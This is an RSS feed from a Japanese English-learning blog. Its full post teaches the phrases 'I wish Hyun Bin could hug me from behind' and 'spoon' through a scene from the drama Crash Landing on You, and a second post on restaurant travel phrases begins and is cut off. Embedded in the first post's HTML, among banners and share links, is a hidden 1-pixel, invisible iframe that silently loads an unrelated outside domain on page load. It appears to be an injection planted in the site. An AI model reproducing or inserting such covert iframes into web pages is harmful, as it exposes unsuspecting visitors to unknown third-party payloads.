﻿<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="https://ffeng.jp/wp-content/plugins/rss-feed-styles/public/template.xsl"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:rssFeedStyles="http://www.lerougeliet.com/ns/rssFeedStyles#"
>

<channel>
	<title>スプーン &#8211; たのしむイングリッシュ</title>
	<atom:link href="https://ffeng.jp/tag/%e3%82%b9%e3%83%97%e3%83%bc%e3%83%b3/feed/" rel="self" type="application/rss+xml" />
	<link>https://ffeng.jp</link>
	<description>FUN FUN ENGLISH</description>
	<lastBuildDate>Fri, 09 Aug 2024 13:12:03 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://ffeng.jp/wp-content/uploads/2024/05/becc7259dcbe6f095b1408b76d8a80aa-150x74.png</url>
	<title>スプーン &#8211; たのしむイングリッシュ</title>
	<link>https://ffeng.jp</link>
	<width>32</width>
	<height>32</height>
</image> 
<atom:link rel="hub" href="https://pubsubhubbub.appspot.com"/>
<atom:link rel="hub" href="https://pubsubhubbub.superfeedr.com"/>
<atom:link rel="hub" href="https://websubhub.com/hub"/>
<atom:link rel="self" href="https://ffeng.jp/tag/%e3%82%b9%e3%83%97%e3%83%bc%e3%83%b3/feed/"/>
<rssFeedStyles:reader name="Digg Reader" url="http://digg.com/reader/search/https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:reader name="Feedly" url="http://cloud.feedly.com/#subscription%2Ffeed%2Fhttps://ffeng.jp/feed/"/><rssFeedStyles:reader name="Inoreader" url="http://www.inoreader.com/?add_feed=https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:button name="Like" url="https://www.facebook.com/sharer/sharer.php?u=%url%"/><rssFeedStyles:button name="G+" url="https://plus.google.com/share?url=%url%"/><rssFeedStyles:button name="Tweet" url="https://twitter.com/intent/tweet?url=%url%"/><rssFeedStyles:button name="Evernote" url="http://www.evernote.com/clip.action?url=%url%"/><rssFeedStyles:button name="Tumblr" url="https://www.tumblr.com/widgets/share/tool?posttype=link&amp;canonicalUrl=%url%"/><site xmlns="com-wordpress:feed-additions:1">164513092</site>	<item>
		<title>《愛の不時着》名シーンより　I wish Hyun Bin could hug me from behind.　ヒョンビンにバックハグされたいなー！</title>
		<link>https://ffeng.jp/2020/05/31/cloy/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Sat, 30 May 2020 17:00:51 +0000</pubDate>
				<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[映画・テレビ]]></category>
		<category><![CDATA[be grateful]]></category>
		<category><![CDATA[Crash Landing on You]]></category>
		<category><![CDATA[hink about〜]]></category>
		<category><![CDATA[hug from behind]]></category>
		<category><![CDATA[Hug one from behind]]></category>
		<category><![CDATA[Hyun Bin]]></category>
		<category><![CDATA[I wish Hyun Bin could hug me from behind]]></category>
		<category><![CDATA[I wish I could～]]></category>
		<category><![CDATA[spoon]]></category>
		<category><![CDATA[the person I love]]></category>
		<category><![CDATA[〜を思う]]></category>
		<category><![CDATA[ありがたく思う]]></category>
		<category><![CDATA[ウェルカム]]></category>
		<category><![CDATA[サプライズパーティー]]></category>
		<category><![CDATA[ジョンヒョク]]></category>
		<category><![CDATA[スプーン]]></category>
		<category><![CDATA[バックハグ]]></category>
		<category><![CDATA[ヒョンビン]]></category>
		<category><![CDATA[ヒョンビンにバックハグされたいなー]]></category>
		<category><![CDATA[仮定法]]></category>
		<category><![CDATA[名シーン]]></category>
		<category><![CDATA[和製英語]]></category>
		<category><![CDATA[妄想フレーズ]]></category>
		<category><![CDATA[嬉しく思う]]></category>
		<category><![CDATA[定番表現]]></category>
		<category><![CDATA[後ろから抱きしめる]]></category>
		<category><![CDATA[愛の不時着]]></category>
		<category><![CDATA[来年もその次の年もその翌年も幸せな日になる。ぼくが思っているから。“生まれてきてくれてありがとう。愛する人がこの世にいてくれてうれしい”と。だからずっと幸せな誕生日になるはず]]></category>
		<category><![CDATA[私の愛する人]]></category>
		<category><![CDATA[話題沸騰]]></category>
		<category><![CDATA[韓流ドラマ]]></category>
		<category><![CDATA[～だったらいいのに]]></category>
		<guid isPermaLink="false">http://ffeng.jp/?p=1337</guid>

					<description><![CDATA[<p>今回もこの数ヶ月世界中で話題沸騰の韓流ドラマ《愛の <a class="mh-excerpt-more" href="https://ffeng.jp/2020/05/31/cloy/" title="《愛の不時着》名シーンより　I wish Hyun Bin could hug me from behind.　ヒョンビンにバックハグされたいなー！">[...]</a></p>
<p>The post <a rel="nofollow" href="https://ffeng.jp/2020/05/31/cloy/">《愛の不時着》名シーンより　I wish Hyun Bin could hug me from behind.　ヒョンビンにバックハグされたいなー！</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/05/26/starren3/' title='【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/06/01/uminohajimari/' title='【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299-150x150.png 150w, https://ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299-65x65.png 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/06/19/starren2/' title='「目黒蓮と星を見に行きたいなー」妄想で覚える英語仮定法① WISH編'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">「目黒蓮と星を見に行きたいなー」妄想で覚える英語仮定法① WISH編</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[<p>今回もこの数ヶ月世界中で話題沸騰の<strong>韓流ドラマ</strong>《<strong>愛の不時着</strong>（<strong>Crash Landing on You</strong>）》の<strong>12話</strong>に登場する<strong>名シーン</strong>をご紹介します。</p>
<p>&nbsp;</p>
<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-dxevf88x-1u" class="arve">
<div class="arve-inner">
<div style="aspect-ratio:226/127" class="arve-embed arve-embed--has-aspect-ratio">
<div class="arve-ar" style="padding-top:56.194690%"></div>
<p>			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-dxevf88x-1u" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/dXeVF88X-1U?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="0" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/dXeVF88X-1U?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="0"></iframe></p></div>
</p></div>
<p>	<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/ffeng.jp\/2020\/05\/31\/cloy\/#arve-youtube-dxevf88x-1u","@type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/dXeVF88X-1U?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script></p>
</div>
<p>&nbsp;</p>
<blockquote><p><strong>Next year, the year after that, and even the one after that will all be good.</strong><br />
<strong>Because I’ll be thinking about you. I’ll be grateful that you were born into this world.</strong><br />
<strong>I’ll be grateful that the person I love is still breathing.</strong><br />
<strong>That’s why your birthday will always be a good day.</strong></p>
<p>来年もその次の年もその翌年も幸せな日になる。<br />
ぼくが思っているから。“生まれてきてくれて<strong>ありがとう</strong>。<br />
愛する人がこの世にいてくれて<strong>うれしい</strong>”と。<br />
だからずっと幸せな誕生日になるはず</p></blockquote>
<p>&nbsp;</p>
<p>ある日、帰宅すると家に誰もおらず、<strong>ジョンヒョク</strong>と部下達が何も告げず帰国したと思い号泣するセリ。彼らが準備したサプライズパーティーの演出だったのですが、セリは泣きながら出て行ってしまいます。家族に愛されず、そのことを痛感させられる誕生日が嫌いなセリは、誕生日のたびにこの日を幸せだった日として思い出すことが怖いと泣き続けます。そんな彼女をジョンヒョクが後ろからそっと抱き締めながら伝えるセリフです。</p>
<p>&nbsp;</p>
<p>このシーンを見ながら、<strong>「ああ、私もヒョンビンにバックハグされたい！」</strong>と思った方も多いはず。そんな気持ちを英語で表現してみましょう。</p>
<p>&nbsp;</p>
<blockquote><p><strong>I wish Hyun Bin could hug me from behind.</strong></p>
<p><strong>ヒョンビン</strong>に<strong>バックハグ</strong>されたいなー！</p></blockquote>
<p>&nbsp;</p>
<p>以前にも登場した<strong>I wish I could～</strong>は、「<strong>～だったらいいのに</strong>」という<strong>仮定法</strong>の定番表現。<strong>wish</strong>の後は<strong>過去形</strong>です。「私も<strong>バックハグ</strong>してほしいけど現実はそうはいかないのね」という意味。この表現で、いろんな<strong>妄想フレーズ</strong>を作ってみましょう。</p>
<p><strong>hug one（人） from behind</strong>は「<strong>後ろから抱きしめる</strong>、<strong>バックハグする</strong>」という意味。<strong>バックハグ</strong>は<strong>和製英語</strong>なので英語圏の人には通じません。</p>
<blockquote><p><strong>I wish Hyun Bin could spoon me.</strong></p></blockquote>
<p>という面白い表現もありますが、食器棚の引き出しでスプーンが重なり合って整理させているところから発生した表現なので、どちらかというと<strong>spoon</strong>はベッドの中で重なるように眠るという性的な印象が強いかも。<strong>ヒョンビン</strong>となら<strong>hug from behind</strong>でも<strong>spoon</strong>でもウェルカムですよね〜！</p>
<p><img fetchpriority="high" decoding="async" class="alignnone wp-image-1392" src="http://ffeng.jp/wp-content/uploads/2020/05/inner1540364386-194x300.jpg" alt="" width="243" height="376" srcset="https://ffeng.jp/wp-content/uploads/2020/05/inner1540364386-194x300.jpg 194w, https://ffeng.jp/wp-content/uploads/2020/05/inner1540364386-600x930.jpg 600w, https://ffeng.jp/wp-content/uploads/2020/05/inner1540364386.jpg 640w" sizes="(max-width: 243px) 100vw, 243px" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>・<strong>think about〜</strong>＝〜を思う<br />
<strong>・be grateful</strong>＝嬉しく思う、ありがたく思う<br />
<strong>・the person I love</strong>＝私の愛する人</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><img decoding="async" src="https://www10.a8.net/0.gif?a8mat=35PYA1+9WMO4Y+2NA+1THW9E" alt="" width="1" height="1" border="0" /><br />
<a href="//blog.with2.net/link/?2011927:3421"><img decoding="async" title="英会話ランキング" src="https://blog.with2.net/img/banner/c/banner_1/br_c_3421_1.gif" /></a><br />
<a style="font-size: 0.9em;" href="//blog.with2.net/link/?2011927:3421">英会話ランキング</a></p>
<p>&nbsp;</p>
<div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F05%2F31%2Fcloy%2F&amp;linkname=%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%B7%E3%83%BC%E3%83%B3%E3%82%88%E3%82%8A%E3%80%80I%20wish%20Hyun%20Bin%20could%20hug%20me%20from%20behind.%E3%80%80%E3%83%92%E3%83%A7%E3%83%B3%E3%83%93%E3%83%B3%E3%81%AB%E3%83%90%E3%83%83%E3%82%AF%E3%83%8F%E3%82%B0%E3%81%95%E3%82%8C%E3%81%9F%E3%81%84%E3%81%AA%E3%83%BC%EF%BC%81" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F05%2F31%2Fcloy%2F&amp;linkname=%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%B7%E3%83%BC%E3%83%B3%E3%82%88%E3%82%8A%E3%80%80I%20wish%20Hyun%20Bin%20could%20hug%20me%20from%20behind.%E3%80%80%E3%83%92%E3%83%A7%E3%83%B3%E3%83%93%E3%83%B3%E3%81%AB%E3%83%90%E3%83%83%E3%82%AF%E3%83%8F%E3%82%B0%E3%81%95%E3%82%8C%E3%81%9F%E3%81%84%E3%81%AA%E3%83%BC%EF%BC%81" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F05%2F31%2Fcloy%2F&amp;linkname=%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%B7%E3%83%BC%E3%83%B3%E3%82%88%E3%82%8A%E3%80%80I%20wish%20Hyun%20Bin%20could%20hug%20me%20from%20behind.%E3%80%80%E3%83%92%E3%83%A7%E3%83%B3%E3%83%93%E3%83%B3%E3%81%AB%E3%83%90%E3%83%83%E3%82%AF%E3%83%8F%E3%82%B0%E3%81%95%E3%82%8C%E3%81%9F%E3%81%84%E3%81%AA%E3%83%BC%EF%BC%81" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F05%2F31%2Fcloy%2F&amp;linkname=%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%B7%E3%83%BC%E3%83%B3%E3%82%88%E3%82%8A%E3%80%80I%20wish%20Hyun%20Bin%20could%20hug%20me%20from%20behind.%E3%80%80%E3%83%92%E3%83%A7%E3%83%B3%E3%83%93%E3%83%B3%E3%81%AB%E3%83%90%E3%83%83%E3%82%AF%E3%83%8F%E3%82%B0%E3%81%95%E3%82%8C%E3%81%9F%E3%81%84%E3%81%AA%E3%83%BC%EF%BC%81" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F05%2F31%2Fcloy%2F&amp;linkname=%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%B7%E3%83%BC%E3%83%B3%E3%82%88%E3%82%8A%E3%80%80I%20wish%20Hyun%20Bin%20could%20hug%20me%20from%20behind.%E3%80%80%E3%83%92%E3%83%A7%E3%83%B3%E3%83%93%E3%83%B3%E3%81%AB%E3%83%90%E3%83%83%E3%82%AF%E3%83%8F%E3%82%B0%E3%81%95%E3%82%8C%E3%81%9F%E3%81%84%E3%81%AA%E3%83%BC%EF%BC%81" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F05%2F31%2Fcloy%2F&amp;linkname=%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%B7%E3%83%BC%E3%83%B3%E3%82%88%E3%82%8A%E3%80%80I%20wish%20Hyun%20Bin%20could%20hug%20me%20from%20behind.%E3%80%80%E3%83%92%E3%83%A7%E3%83%B3%E3%83%93%E3%83%B3%E3%81%AB%E3%83%90%E3%83%83%E3%82%AF%E3%83%8F%E3%82%B0%E3%81%95%E3%82%8C%E3%81%9F%E3%81%84%E3%81%AA%E3%83%BC%EF%BC%81" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F05%2F31%2Fcloy%2F&amp;linkname=%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%B7%E3%83%BC%E3%83%B3%E3%82%88%E3%82%8A%E3%80%80I%20wish%20Hyun%20Bin%20could%20hug%20me%20from%20behind.%E3%80%80%E3%83%92%E3%83%A7%E3%83%B3%E3%83%93%E3%83%B3%E3%81%AB%E3%83%90%E3%83%83%E3%82%AF%E3%83%8F%E3%82%B0%E3%81%95%E3%82%8C%E3%81%9F%E3%81%84%E3%81%AA%E3%83%BC%EF%BC%81" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F05%2F31%2Fcloy%2F&amp;linkname=%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%B7%E3%83%BC%E3%83%B3%E3%82%88%E3%82%8A%E3%80%80I%20wish%20Hyun%20Bin%20could%20hug%20me%20from%20behind.%E3%80%80%E3%83%92%E3%83%A7%E3%83%B3%E3%83%93%E3%83%B3%E3%81%AB%E3%83%90%E3%83%83%E3%82%AF%E3%83%8F%E3%82%B0%E3%81%95%E3%82%8C%E3%81%9F%E3%81%84%E3%81%AA%E3%83%BC%EF%BC%81" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2020%2F05%2F31%2Fcloy%2F&#038;title=%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%B7%E3%83%BC%E3%83%B3%E3%82%88%E3%82%8A%E3%80%80I%20wish%20Hyun%20Bin%20could%20hug%20me%20from%20behind.%E3%80%80%E3%83%92%E3%83%A7%E3%83%B3%E3%83%93%E3%83%B3%E3%81%AB%E3%83%90%E3%83%83%E3%82%AF%E3%83%8F%E3%82%B0%E3%81%95%E3%82%8C%E3%81%9F%E3%81%84%E3%81%AA%E3%83%BC%EF%BC%81" data-a2a-url="https://ffeng.jp/2020/05/31/cloy/" data-a2a-title="《愛の不時着》名シーンより　I wish Hyun Bin could hug me from behind.　ヒョンビンにバックハグされたいなー！"></a></p><p>The post <a rel="nofollow" href="https://ffeng.jp/2020/05/31/cloy/">《愛の不時着》名シーンより　I wish Hyun Bin could hug me from behind.　ヒョンビンにバックハグされたいなー！</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/05/26/starren3/' title='【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/06/01/uminohajimari/' title='【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299-150x150.png 150w, https://ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299-65x65.png 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/06/19/starren2/' title='「目黒蓮と星を見に行きたいなー」妄想で覚える英語仮定法① WISH編'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">「目黒蓮と星を見に行きたいなー」妄想で覚える英語仮定法① WISH編</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1337</post-id>	</item>
		<item>
		<title>ホリデーシーズン目前：旅先で使える英語フレーズ 〜レストランの支払いやトラブル〜</title>
		<link>https://ffeng.jp/2019/11/28/restaurants/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Thu, 28 Nov 2019 07:48:12 +0000</pubDate>
				<category><![CDATA[ジャンル別]]></category>
		<category><![CDATA[トラベル英会話]]></category>
		<category><![CDATA[ボキャブラリー]]></category>
		<category><![CDATA[使える英会話・イディオム]]></category>
		<category><![CDATA[box]]></category>
		<category><![CDATA[cancel]]></category>
		<category><![CDATA[doggy bag]]></category>
		<category><![CDATA[fork]]></category>
		<category><![CDATA[knife]]></category>
		<category><![CDATA[spoon]]></category>
		<category><![CDATA[That’s all for now]]></category>
		<category><![CDATA[これで十分です]]></category>
		<category><![CDATA[キャンセル]]></category>
		<category><![CDATA[スプーン]]></category>
		<category><![CDATA[トラブル対処]]></category>
		<category><![CDATA[トラブル英語]]></category>
		<category><![CDATA[トラベル英語]]></category>
		<category><![CDATA[ナイフ]]></category>
		<category><![CDATA[バーでの注文]]></category>
		<category><![CDATA[フォーク]]></category>
		<category><![CDATA[ホリデーシーズン目前]]></category>
		<category><![CDATA[レストラン]]></category>
		<category><![CDATA[レストランでのトラブル]]></category>
		<category><![CDATA[役立つフレーズ]]></category>
		<category><![CDATA[持ち帰り]]></category>
		<category><![CDATA[支払い]]></category>
		<category><![CDATA[支払いのフレーズ]]></category>
		<category><![CDATA[旅先で使える英語フレーズ]]></category>
		<category><![CDATA[海外旅行]]></category>
		<category><![CDATA[英会話]]></category>
		<guid isPermaLink="false">http://ffeng.jp/?p=866</guid>

					<description><![CDATA[<p>ホリデーシーズン目前：旅先で使える英語フレーズ 〜 <a class="mh-excerpt-more" href="https://ffeng.jp/2019/11/28/restaurants/" title="ホリデーシーズン目前：旅先で使える英語フレーズ 〜レストランの支払いやトラブル〜">[...]</a></p>
<p>The post <a rel="nofollow" href="https://ffeng.jp/2019/11/28/restaurants/">ホリデーシーズン目前：旅先で使える英語フレーズ 〜レストランの支払いやトラブル〜</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/11/25/hotel2/' title='ホリデーシーズン目前：旅先で使える英語フレーズ集〜チェックアウトまでホテルで快適に過ごす〜'>
<img width="120" height="67" src="https://ffeng.jp/wp-content/uploads/2019/11/o0678038113814000305.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2019/11/o0678038113814000305.jpg 678w, https://ffeng.jp/wp-content/uploads/2019/11/o0678038113814000305-300x169.jpg 300w, https://ffeng.jp/wp-content/uploads/2019/11/o0678038113814000305-600x337.jpg 600w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ホリデーシーズン目前：旅先で使える英語フレーズ集〜チェックアウトまでホテルで快適に過ごす〜</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/11/26/restaurant/' title='ホリデーシーズン目前：旅先で使えるボキャブラリー　〜レストランやバーで大活躍のボキャブラリー1〜'>
<img width="120" height="67" src="https://ffeng.jp/wp-content/uploads/2019/11/o0678038113820804607.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2019/11/o0678038113820804607.jpg 678w, https://ffeng.jp/wp-content/uploads/2019/11/o0678038113820804607-300x169.jpg 300w, https://ffeng.jp/wp-content/uploads/2019/11/o0678038113820804607-600x337.jpg 600w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ホリデーシーズン目前：旅先で使えるボキャブラリー　〜レストランやバーで大活躍のボキャブラリー1〜</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/07/19/travel1/' title='ホリデーシーズン目前：旅先で使えるボキャブラリー〜レストランやバーで大活躍のボキャブラリー1〜'>
